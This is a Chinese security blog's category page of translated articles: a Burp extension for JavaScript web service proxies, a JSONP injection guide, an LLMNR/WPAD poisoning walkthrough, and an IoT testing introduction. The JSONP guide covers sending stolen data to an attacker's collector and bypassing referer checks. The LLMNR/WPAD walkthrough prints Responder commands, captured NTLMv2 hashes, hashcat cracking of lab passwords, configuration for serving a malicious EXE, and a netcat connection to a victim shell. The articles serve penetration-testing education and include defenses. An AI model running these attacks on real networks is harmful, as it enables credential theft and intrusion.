分类 译文 下的文章 - 勾陈安全实验室

分类 译文 下的文章

使用BurpSuite攻击JavaScript Web服务代理

JavaScript Web服务代理是用于与WCF Web服务交互的WSDL(Web服务描述语言)文件的一种选择。这个代理文件用作Web服务方法的描述,公开可用的服务方法及其参数。 JavaScript服务代理或者说JSWS(JavaScript Web服务),它们是AJAX框架的组件,通常可以用于代替相同Web服务的WSDL。JSWS使用JavaScript来对描述符文件进行建模,并且传输中的JSON使得它成为WSDL的XML的一个很好的替代,因为JavaScript和JSON被大量集成到所有浏览器中。客户端应用程序将根据需要加载JSWS或嵌入到页面中。JSWS包含将指示浏览器创建JSON请求的JavaScript代码。JSWS文件的示例在下面。

Type.registerNamespace('NewsSite.AdGroups');
NewsSite.AdGroups.Advertisement=function() {
NewsSite.AdGroups.Advertisement.initializeBase(this);
this._timeout = 0;
this._userContext = null;
this._succeeded = null;
this._failed = null;
}
NewsSite.AdGroups.Advertisement.prototype={
_get_path:function() {
 var p = this.get_path();
 if (p) return p;
 else return NewsSite.AdGroups.Advertisement._staticInstance.get_path();},
GetAds:function(SubsectionID,AdGroupID,Element,iCounter,succeededCallback, failedCallback, userContext) {
return this._invoke(this._get_path(), 'GetAds',false,{SubsectionID:SubsectionID,AdGroupID:AdGroupID,Element:Element,iCounter:iCounter},succeededCallback,failedCallback,userContext); }}
NewsSite.AdGroups.Advertisement.registerClass('NewsSite.AdGroups.Advertisement',Sys.Net.WebServiceProxy);
NewsSite.AdGroups.Advertisement._staticInstance = new NewsSite.AdGroups.Advertisement();
NewsSite.AdGroups.Advertisement.set_path = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_path(value); }
NewsSite.AdGroups.Advertisement.get_path = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_path(); }
NewsSite.AdGroups.Advertisement.set_timeout = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_timeout(value); }
NewsSite.AdGroups.Advertisement.get_timeout = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_timeout(); }
NewsSite.AdGroups.Advertisement.set_defaultUserContext = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultUserContext(value); }
NewsSite.AdGroups.Advertisement.get_defaultUserContext = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultUserContext(); }
NewsSite.AdGroups.Advertisement.set_defaultSucceededCallback = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultSucceededCallback(value); }
NewsSite.AdGroups.Advertisement.get_defaultSucceededCallback = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultSucceededCallback(); }
NewsSite.AdGroups.Advertisement.set_defaultFailedCallback = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultFailedCallback(value); }
NewsSite.AdGroups.Advertisement.get_defaultFailedCallback = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultFailedCallback(); }
NewsSite.AdGroups.Advertisement.set_enableJsonp = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_enableJsonp(value); }
NewsSite.AdGroups.Advertisement.get_enableJsonp = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_enableJsonp(); }
NewsSite.AdGroups.Advertisement.set_jsonpCallbackParameter = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_jsonpCallbackParameter(value); }
NewsSite.AdGroups.Advertisement.get_jsonpCallbackParameter = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_jsonpCallbackParameter(); }
NewsSite.AdGroups.Advertisement.set_path("/AdGroups/Advertisement.asmx");
NewsSite.AdGroups.Advertisement.GetAds= function(SubsectionID,AdGroupID,Element,iCounter,onSuccess,onFailed,userContext) {NewsSite.AdGroups.Advertisement._staticInstance.GetAds(SubsectionID,AdGroupID,Element,iCounter,onSuccess,onFailed,userContext); }
var gtc = Sys.Net.WebServiceProxy._generateTypedConstructor;
if (typeof(NewsSite.AdGroups.AdGroupInfo) === 'undefined') {
NewsSite.AdGroups.AdGroupInfo=gtc("NewsSite.AdGroups.AdGroupInfo");
NewsSite.AdGroups.AdGroupInfo.registerClass('NewsSite.AdGroups.AdGroupInfo');
}

文件加载后,后续的请求将按以下方式格式化。

JSON-request.png

这个指示浏览器如何格式化请求的文件的一个副作用是这也可以帮助攻击者枚举Web服务方法和潜在注入点。 在这些可以利用之前,重要的是要了解JSWS何时使用,以及如何识别它。

识别JSWS

有多种不同的方法来识别这些服务何时在应用程序中使用。应用程序可以通过查找https://some.domaim.com/WebService.asmx/js来请求允许通过代理日志识别的JSWS文件。应用程序还可能请求具有调试信息的相同文件,https://some.domain.com/WebService.asmx/jsdebug。 jsdebug文件将包含有关所需参数的数据类型的附加信息,以及需要哪些参数。即使应用程序没有请求jsdebug文件,它很可能仍然可用。

或者,应用程序可能使用PageMethods技术,这意味着JSWS将直接嵌入到页面中。

这通常在aspx页面而不是asmx,但它可以与任何扩展一起。这个方法可以通过搜索服务器响应的“PageMethods”字符串,或通过检查代理日志的方法调用来识别(例如https://some.domain.com/WebService.aspx/GetInformation

JSWS扩展

在识别出这种技术正在使用之后,攻击者能够处理Web服务将接受的所有请求变化,但这需要时间,并且可能相当冗长乏味。开始在评估中经常看到JSWS之后,我决定创建一个Burp扩展来自动化这个过程。该工具是在Eric Gruber的Wsdler之后建模的,并且以相同的方式运行。JSWS扩展可以从https://github.com/NetSPI/JSWS下载,目前正在等待进入BApp商店。

要使用此工具,只需右键单击包含JSWS的请求或响应,然后单击Parse JSWS(解析JSWS)。如果应用程序正在加载JSWS文件,则该文件应已位于代理日志中。

parse-JSWS.png

建议解析jsdebug文件而不是js文件,因为它会给用户提供更多关于篡改哪些类型的参数的信息。

如果应用程序使用JSWS的PageMethods表示,请右键单击包含PageMethods代码的请求或响应,然后单击Parse JSWS。

然后,JSWS扩展将打开一个JSWS选项卡,以及一个用于刚刚解析的服务的子选项卡。 在此选项卡下有两个窗格,顶部包含所有可用的方法,底部包含JSON模板。

JSWS-tab.png

从这里,请求可以作为任何JSON请求处理,并可以发送到Repeater进行手动测试,或者Intruder和Scanner进行自动测试。

结论

该扩展程序当前不能通过被动扫描检测到JSWS的存在。这项功能正在实现将在未来的版本中发布。对于你可能发现的任何功能要求或错误,请给我发电子邮件或在Github提问。

JSONP注入实战

原文:https://securitycafe.ro/2017/01/18/practical-jsonp-injection/

JSONP注入是一个鲜为人知的但是非常广泛和危险的漏洞。它在近几年才出现,由于JSON,web API和跨域通信的急需。

什么是JSONP

假设每个人都知道JSON是什么,让我们谈谈一下JSONP。 JSONP来自带有填充的JSON,被创建来绕过常见的限制,例如同源策略。

举个例子。 我们的网上银行应用程序,http://verysecurebank.ro,实现了一个返回当前用户的交易的API调用。

访问http://verysecurebank.ro/getAccountTransactions的HTTP请求向我们提供了当前用户的交易内容,JSON格式:

json-transactions.png

如果我们的报告应用程序,想访问http://reports.verysecurebank.ro获得交易详细信息,由于同源原则生效(不同的主机),将无法通过AJAX调用该页面。

sop-json.png

为了解决这个问题,JSONP发挥了作用。 由于跨域脚本包含(主要用于外部加载JavaScript库,如jQuery,AngularJS等)是允许但不推荐的,一个聪明的技巧显然解决了整个问题:在响应前加上回调。

注意:即使它可能是显而易见的,值得提及的是,当包括脚本跨域时,它将在包含应用程序的上下文中运行,而不是在源的上下文中运行。

添加一个回调到API响应,包裹JSON格式的数据,允许我们加载脚本标签之间的API响应,并通过定义我们自己的回调函数来处理它的内容。

怎么使用JSONP

这是你最容易遇到的情况:

1.回调函数在响应中硬编码
1)基本函数调用
2)对象方法调用
2.回调函数是动态的
1)完全可控的URL(GET变量)
2)部分可控的URL(GET变量),但附加一个数字
3)可控的URL(GET变量),但最初不显示在请求中

基本函数调用

一个非常常见的示例,其中myCallback回调在响应中硬编码,包裹在JSON格式的数据上:

callback-example.png

我们可以通过首先定义myCallback函数,然后在脚本标签中引用API调用来轻松使用它:

callback-example-code.png

注意:确保在包含响应之前定义函数,否则将调用未定义的函数,并且不会获取任何数据。

当登录的受害者访问我们的恶意页面时,我们抓取他的数据。 为了简洁起见,我们在当前页面中显示整齐格式化了的数据。

callback-example-result.png

对象方法调用

这几乎与第一个示例相同,你可能会在ASP或ASP.NET Web应用程序中遇到它。 在我们的示例中,System.TransactionData.Fetch作为回调围绕JSON格式的数据被添加:

multiple-callback-example.png

我们只是为已经是System对象一部分的TransactionData对象创建Fetch方法。

multiple-callback-code.png

结果是相同的,所以没有截图。

完全可控的URL(GET变量)

这是你会遇到的最常见的情况。 回调函数在URL中指定,我们可以完全控制它。 回调URL参数允许我们更改回调的名称,因此我们将设置它来测试,并在响应中看它的改变:

specified-callback-example.png

我们基本上可以使用相同的代码,但是不要忘记在包含带有脚本标签的响应时添加回调参数。

specified-callback-code.png

部分可控的URL(GET变量),但附加一个数字

在这种情况下,回调函数名称附加了一些东西,通常是一个数字。 在大多数情况下,我们得到的东西像jQuery和一个附加到它的短号,像12345,回调成为jQuery12345。

appended-callback-example.png

逻辑上,代码保持不变,我们只需要将12345添加到我们的回调函数名称,而不是包含脚本时。

appended-callback-code.png

但如果数字不是硬编码怎么办? 如果是动态的、每个会话都不同怎么办? 如果它是一个相对较短的数字,我们可以用过编程预定义每个可能性的函数。 让我们假设附加的数字高达99999。 我们可以以编程方式创建所有这些函数,所以附加的数字,我们已经有一个回调函数。 这里是示例代码,我使用一个更简单的回调来说明结果:

appended-callback-code-generate.png

这里发生了什么:我们有硬编码的回调名称jQuery,我们为函数的数量设置了一个限制。 在第一个循环中,我们在callbackNames数组中生成回调函数名。 然后我们循环遍历数组,并将每个回调名称转换为全局函数。 请注意,为了缩短代码,我只提醒第一笔交易中发送的金额。 让我们看看它是如何工作的:

appended-callback-alert.png

在我的机器上,花了大约5秒钟显示警报,回调名称为jQuery12345。 这意味着Chrome在5秒内创建了超过10.000个功能,所以我大胆地说,这是一个很可行的方法。

可控的URL(GET变量),但最初不显示在请求中

最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。

如果我们有以下API调用http://verysecurebank.ro/getAccountTransactions,我们可能会尝试猜测回调变量:

这些只是最常见的回调名称,请随意猜测更多。 如果我们的回调被添加到响应,bingo,让我们道德地抓取一些数据。

基本数据抓取

因为我们直到现在才显示数据,让我们看看如何把它发送给我们。 这是JSONP数据抓取的一个小示例,可以将其用作概念验证。

steal-code.png

我们发送应用响应(比如用户的交易内容)在data参数中的get请求给我们的数据抓取器。

注意:确保对数据使用了JSON.stringify(),因为它是一个对象,我们不希望在我们的文件中只有[object Object]。

注意:如果响应很大,请确保切换到POST,因为HTTP GET的大小限制,可能无法接收完整的数据。

这里是我们的grabData.php代码,我们将接收到的数据追加到data.txt文件中:

steal-php.png

常见问题

在寻找JSONP漏洞的Web应用程序时,我们可能会遇到一些问题。 这里我们尝试解决他们。

Content-Type和X-Content-Type-Options

如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascripttext/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。

如果您想知道浏览器解释为JavaScript的内容类型,请访问https://mathiasbynens.be/demo/javascript-mime-type

在此示例中,Content-Type设置为application/jsonX-Content-Type-Options设置为nosniff

content-type-error.png

最新版本的Google Chrome,Microsoft Edge和Internet Explorer 11成功阻止了脚本执行。 但是,Firefox 50.1.0(目前是最新版本)没有。

注意:如果X-Content-Type-Options:nosniff头未设置,它将适用于所有上述浏览器。

注意:旧版本的浏览器没有考虑严格的MIME类型检查,因为最近实现了X-Content-Type-Options。 根据Mozilla,这是由于浏览器的兼容性:

browser-compatibility.png

响应码

有时我们可能会得到一些其他响应代码,而不是200,特别是当我们搞乱了响应。 我在这些浏览器上进行了几个测试:

  • Microsoft Edge 38.14393.0.0
  • Internet Explorer 11.0.38
  • Google Chrome 55.0.2883.87
  • Mozilla Firefox 50.1.0

发现了这些不一致:

Response Code        Works in
100 Continue        Internet Explorer, Microsoft Edge, Google Chrome
101 Switching Protocols        Google Chrome
301 Moved Permanently        Google Chrome
302 Found        Google Chrome
304 Not Modified        Microsoft Edge

因此,即使我们没有获得200 HTTP代码,该漏洞仍然可以在其他浏览器中使用。

绕过referer检查

1.使用data URI scheme

如果有HTTP Referer检查,我们可以尝试不发送它来绕过验证。 我们怎么能做到这一点?通过data URI。

我们可以利用data URI scheme,以便在没有HTTP Referer的情况下发出请求。 因为我们处理的代码,包括引号,双引号和其他语法破坏字符,我们将对base64编码我们的payload(回调定义和脚本包含)。

语法:

data:text/plain;base64,our_base64_encoded_code

iframe-src.png

以下是允许我们使用data URI scheme的三个主要HTML标签:

  • iframe(在src属性中) - 它在Internet Explorer中不起作用
  • embed(在src属性中) - 它在Internet Explorer和Microsoft Edge中不起作用
  • object(在data属性) - 它在Internet Explorer和Microsoft Edge中不起作用

我们可以看到,API请求中没有发送HTTP Referer。

referer-browser.png

2.从https到http的请求

如果我们的目标网站可以通过HTTP访问,我们还可以通过在HTTPS页面上托管我们的代码来避免发送HTTP Referer。 如果我们从HTTPS页面发出HTTP请求,则浏览器不发送Referer头以防止信息泄露。

我们所有要做的只是在启用HTTPS的网站上托管我们的恶意代码。

注意:由于混合内容安全机制,这不适用于具有默认设置的现代Web浏览器。 受害者已手动接受浏览器的安全警告。

mixed-content.png

但是,它在旧版本的浏览器中使用,并且不发送HTTP Referer头,我们可以看到:

https-to-http.png

我们如何解决这个问题

最后,让我们看看我们如何防止这种情况的发生。 最直接和最现代的方法是CORS(跨源资源共享)。

1.完全删除JSONP功能
2.将Access-Control-Allow-Origin标头添加到API响应中
3.使用跨域AJAX请求

因此,http://reports.verysecurebank.ro将以下跨域AJAX请求嵌入到http://verysecurebank.ro/getAccountTransactions

ajax-request-code.png

API响应包括Access-Control-Allow-Originhttp://reports.verysecurebank.ro

ajax-request-headers.png

我们得到http://verysecurebank.ro/getAccountTransactions的内容:

ajax-request-content.png

结论

虽然JSONP使用量在减少,但仍然有大量的网站依然在使用它。 作为最后一个提示,当处理JSONP时,也不要忘记检查反射型文件下载和反射型xss。

LLMNR&WPAD介绍以及渗透测试中的利用

原文:https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

在内网渗透测试中,我们可以针对错误配置的网络服务和协议进行攻击,比如地址解析协议(ARP),动态主机配置协议(DHCP)和域名系统(DNS)等的错误配置。其中可以遇到的一个最重要的无疑是中间人攻击,它可以通过监听网络流量或操纵要访问的目标来访问敏感信息。虽然可以对诸如路由器和交换机的网络设备采取针对这种攻击的安全措施,但是由于一些协议的本身弱点,我们可以用不同的方法进行类似的中间人攻击。因此,本文的主题将是针对LLMNR,NetBIOS和WPAD机制的中间人攻击。在开始之前,本文将解释一下使用windows系统的计算机如何在同一个网络中进行通信,并执行名称解析。

该过程有如下步骤:

1.检查文件系统中的主机文件

在其配置文件中,查询其想要访问的系统信息。同时,它检查要访问的设备是否是自身。
配置文件位于C:WindowsSystem32driversetc

2.检查本地DNS缓存

首先检查缓存。如果要访问的设备的信息存在于高速缓存中,则使用该信息。
可以使用ipconfig / displaydns命令学习DNS缓存。

3.向DNS发送查询

如果计算机未从配置文件中找到任何其想要访问的设备的信息,它会向本地网络上的DNS服务器发送查询。

4.发送LLMNR查询

LLMNR是DNS服务器名称解析失败时处理的协议。

5.发送NetBIOS-NS查询

它在OSI模型的“会话”层中工作。 NetBIOS是一种API,不是协议,用于在Windows操作系统之间进行通信。
计算机的NetBIOS名称与计算机名称相同。

什么是LLMNR&WPAD

LLMNR(链路本地多播名称解析)和NetBIOS-NS(名称服务)是Windows操作系统用于名称解析和通信的两个组件。 LLMNR第一次被用于Windows Vista操作系统,被视为NetBIOS-NS服务的延续。

在DNS服务器名称解析查询失败的情况下,这两个服务继续名称解析。 LLMNR和NetBIOS-NS服务尝试解析DNS服务器无法应答的查询。 实际上,这是Windows操作系统计算机之间的合作形式。

LLMNR协议由IPv4的链路范围组播IP地址224.0.0.252和IPv6的FF02:0:0:0:0:0:1:3服务。 它通过5355的TCP/UDP端口执行自己的操作。

例如,当尝试ping到不在网络上的test.local时,第一个查询转到DNS服务器。 如果DNS服务器无法解析此域名,则查询将重定向到LLMNR协议。 LLMNR不是DNS协议的替代,它是DNS查询失败的情况下改进的解决方案。 它受Windows Vista之后推出的所有操作系统的支持。

llmnr_wireshark.png

NetBIOS是本地网络中的系统用于相互通信的API。 有三种不同的NetBIOS服务。

  • 名称服务,它使用UDP 137端口用于名称注册和名称解析。
  • 数据报分发服务,它使用UDP 138端口进行无连接通信。
  • 会话服务,它在TCP 139端口上执行面向连接通信的操作。

LLMNR协议在未成功的DNS查询之后使用,然后,作为广播查询的NetBIOS-NS分组被包括在流量中。

netbios_wireshark.png

理论上,这些看似无害和功能的系统没有保护在本地网络上的中间人攻击。 攻击者可以成功攻击获得敏感数据,如用户名和密码哈希。

通过操作流量捕获NTLMv2散列

主要情况如下图所示:

llmnr.png

1.受害者将尝试连接到文件共享系统,名为filesrvr,他键入不正确。

2.我们之前提到的步骤执行的名称解析将首先在受害者的计算机上进行查询。

3.在步骤2中,由于DNS服务器没有相应的记录,系统的名称作为LLMNR发送,NetBIOS-NS查询。

4.攻击者侦听网络流量,捕获名称解析查询。 我们告诉受害者,我们是受害者寻找的filsrvr。

攻击者将侦听广播并响应所有LLMNR和NetBIOS-NS查询。 以这种方式,可以操纵假会话并获得用户名和密码哈希。

有不同的工具来进行这个攻击。

  • Responder由SpiderLabs开发。 (本文将使用此工具)
  • llmnr_response(Metasploit框架中的一个模块)
  • MiTMf

我们通过指定网络端口号来开始监听网络流量。

root@kali:~# responder -i 10.7.7.31
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C
[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: False
WPAD script loaded: function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: False
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

受害者尝试连接filesrvr共享

flsrvr.png

我们获得了SMB-NTLMv2散列!

LLMNR poisoned answer sent to this IP: 10.7.7.30. The requested name was : filesrvr.
[+]SMB-NTLMv2 hash captured from : 10.7.7.30
[+]SMB complete hash is : Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000
NBT-NS Answer sent to: 10.7.7.30. The requested name was : TOWER

NTLMv2哈希不能直接用于攻击,因此,我们需要执行密码破解攻击,以从捕获的哈希中获取纯文本密码。 有几个工具可以用于散列破解:John the Ripper,Hashcat,Cain&Abel,Hydra等。我们将使用hashcat破解我们从Responder中获得的NTLMv2哈希。

Responder工具将检测到的哈希值保留在/usr/share/responder目录下。

root@kali:/usr/share/responder# ls *30*
SMB-NTLMv2-Client-10.7.7.30.txt

我们获得的NTLMv2哈希如下:

root@kali:/usr/share/responder# cat SMB-NTLMv2-Client-10.7.7.30.txt 
Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000

Hashcat是一个开源的密码破解工具,并且它有GPU支持。 它可以使用-m参数检测哈希模式,使用字典启动强力攻击。

root@kali:/usr/share/responder# hashcat -m 5600 SMB-NTLMv2-Client-10.7.7.30.txt ~/dic.txt 
Initializing hashcat v2.00 with 4 threads and 32mb segment-size...
Added hashes from file SMB-NTLMv2-Client-10.7.7.30.txt: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
[s]tatus [p]ause [r]esume [b]ypass [q]uit => 
Input.Mode: Dict (/root/dic.txt)
Index.....: 1/5 (segment), 3625424 (words), 33550339 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 6.46M plains, 6.46M words
Progress..: 3625424/3625424 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--
--- snippet ---
ADMINISTRATOR::PENTESTLAB:1122334455667788:e360938548a17bf8e36239e2a3cc8ffc:0101000000000000ee36b4ee7358d201e09a8038de69150f0000000002000a0073006d006200310032000100140053004500520056004500520032003000300038000400160073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003000300038002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c006f00630061006c00080030003000000000000000000000000030000056a8a45ab1d3338b0049b358b877aeeee1aa43715ba0639fb20a86281c8fe2b40a0010000000000000000000000000000000000009001a0063006900660073002f00660069006c00650073007200760072000000000000000000:Abcde12345.
 
All hashes have been recovered
Input.Mode: Dict (/root/dic.txt)
Index.....: 5/5 (segment), 552915 (words), 5720161 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 1.60M words
Progress..: 552916/552915 (100.00%)
Running...: 00:00:00:01
Estimated.: > 10 Years
Started: Sat Dec 17 23:59:22 2016
Stopped: Sat Dec 17 23:59:25 2016
root@kali:/usr/share/responder#

我们得到的密码是Abcde12345。

什么是WPAD?

公司允许员工通过代理服务器访问互联网以提高效率,确保安全性并跟踪流量。连接到公司网络的用户需要知道特定URL的代理服务器,而无需进行配置。 Web代理自动发现协议(WPAD)是客户端使用DHCP和DNS发现方法来定位配置文件的URL的方法。 一旦配置文件的检测和下载完成,就可以通过执行它来确定指定URL的代理。

WPAD怎么工作?

客户端希望访问wpad.dat配置文件以进行代理配置。 它搜索本地网络上名为“wpad”的计算机以查找此文件。 然后执行以下步骤:

1.如果配置了DHCP服务器,则客户端从DHCP服务器检索wpad.dat文件(如果成功,则执行步骤4)

2.将wpad.corpdomain.com查询发送到DNS服务器以查找正在分发Wpad配置的设备。 (如果成功,则采取步骤4)

3.发送WPMN的LLMNR查询(如果成功,请转到步骤4,否则代理不能使用)

4.下载wpad.dat并使用

根据上述顺序,可以对第一步进行DHCP投毒攻击。 DNS投毒攻击自然可以执行第二步,但正如我在本文开头所指出的,配置的网络设备可以防止这些攻击。 当通过LLMNR进行查询时,该请求将通过广播去到网络中的每个客户端。 在这一点上,攻击者将他的wpad.dat文件发送到客户端,就像wpad服务器。

重要的是WPAD协议是在Windows操作系统中内置的。 此配置可以在Internet Explorer浏览器的LAN设置部分中看到。

wpad.png

通过此配置,Internet Explorer在整个网络上进行WPAD名称解析查询。

利用WPAD

Responder是MiTM攻击的一个很好的实用工具。 Responder创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。 Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。 自然地,员工写入在域名中使用的用户名和密码。 最后,我们可以看到他们的用户名和密码。

使用Responder工具真的很简单。

root@kali:~# git clone https://github.com/SpiderLabs/Responder.git
Cloning into 'Responder'...
remote: Counting objects: 886, done.
remote: Total 886 (delta 0), reused 0 (delta 0), pack-reused 886
Receiving objects: 100% (886/886), 543.75 KiB | 255.00 KiB/s, done.
Resolving deltas: 100% (577/577), done.
Checking connectivity... done.

我设置了以下系统来模拟这种攻击。

wpad_topo-1.png

现在,我们创建了假的HTTP服务并等待明文密码。

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Poisoning Options:
 Analyze Mode [OFF]
 Force WPAD auth [ON]
 Force Basic Auth [ON]
 Force LM downgrade [OFF]
 Fingerprint hosts [OFF]
[+] Generic Options:
 Responder NIC [eth0]
 Responder IP [10.7.7.31]
 Challenge set [1122334455667788]
[+] Listening for events...

wpad_attack.png

明文密码如下:

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name GOOGLE.COM (service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name WWW.GOOGLE.COM (service: Workstation/Redirector)
[HTTP] Basic Client : 10.7.7.30
[HTTP] Basic Username : PENTESTLAB\roland
[HTTP] Basic Password : secr3tPassw0rd123!
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[SMB] NTLMv2-SSP Client : 10.7.7.30
[SMB] NTLMv2-SSP Username : PENTESTLAB\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::PENTESTLAB:1122334455667788:8EBDB974DF3D5F4FB0CA15F1C5068856:01010000000000007894C6BE2C54D201FCEDFDB71BB6F1F20000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000B39077D5C9B729062C03BB45B88B0D9EC2672C57115A1FE3E06F77BD79551D8F0A001000000000000000000000000000000000000900220063006900660073002F007200650073007000700072006F00780079007300720076000000000000000000
[SMB] Requested Share : \\RESPPROXYSRV\IPC$
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] Skipping previously captured hash for PENTESTLAB\roland

Responder的后门

Responder不仅可以针对WPAD服务的MiTM攻击。 它也可以强制受害者到一个假网页下载恶意文件。 社会工程可以用来真实地准备用于这次攻击的网页,响应者本身也有一个假的重定向页面。 我们所需要做的就是对responder.conf文件进行一些修改。 我们将“Serve-HTML”和“Serve-EXE”参数设置为“On”。

[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On 
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On

我们再次运行Responder。

root@kali:~/Responder# python Responder.py -I eth0 -i 10.7.7.31 -r On -w On

现在,当受害者尝试使用互联网只会看到以下页面。 如果受害者点击代理客户端连接,下载CMD Shell,我们就可以使用netcat连接到受害者的140端口。

root@kali:~/Responder# nc 10.7.7.30 140 -vv
10.7.7.30: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [10.7.7.30] 140 (?) open
        | 
        | 
        | 
    /\  |  /\  
    //\. .//\ 
    //\ . //\ 
    /  ( )/  \ 
Welcome To Spider Shell!
ipconfig
Microsoft Windows [Version 6.1.7601]
(c) 2009 Microsoft Corporation. All Rights reserved.
C:\Users\Roland\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
   Connection-spesific DNS Suffix   . : PENTESTLAB.local
   IPv4 Address . . . . . . . . . . . : 10.7.7.30
   Subnet Mask . . . . . . . . . . .  : 255.255.255.0
   Default Gateway . . . . . . . . .  : 10.7.7.1

针对WPAD的防御

  • 使用指向公司代理服务器的“WPAD”创建DNS条目, 所以攻击者将无法操纵流量。
  • 在所有具有组策略的Internet Explorer上禁用“自动检测代理设置”。

参考

物联网(IOT)安全测试经验总结

前言

今年早些时候,我参与了许多关于物联网解决方案的安全测试。主要目标是找出体系结构和解决方案中的漏洞。在这篇文章中,我将讨论一些与物联网解决方案的问题和挑战。

什么是物联网?

在你学习有关IPv6的时候,你的老师或许说过,有一天在你的房子每个设备都会有一个IP。物联网基本上就是处理每天的事务,并把它们连接到互联网上。一些常见的物联网设备:如灯光,窗帘,空调。也有像冰箱这样的不太常见的设备,甚至一个卫生间?(实际应用

物联网的定义是:“提出了互联网的发展,日常物品有网络连接,允许,发送和接收数据。”。

物联网体系结构

通常有这五个部分:

  • 执行器:通过物理过程控制事物,如空调机组,门锁,窗帘,
  • 网关:用于收集传感器信息和控制中心
  • 传感器:用于检测环境,例如光,运动,温度,湿度,水/电量,
  • 云:Web界面或API托管用于收集数据的云端web应用和大型数据集分析。一般来说,就是用来做信息与其他方资源共享时,
  • 移动(app):移动设备大多使用的,在设备上的应用程序,以实现手机端控制IoT环境来进行互动

architecture.png

物联网环境本身的控制传感器和执行器通常使用这些无线协议(还有更多的):

  • Wifi
  • Zwave
  • ZigBee
  • Bluetooth
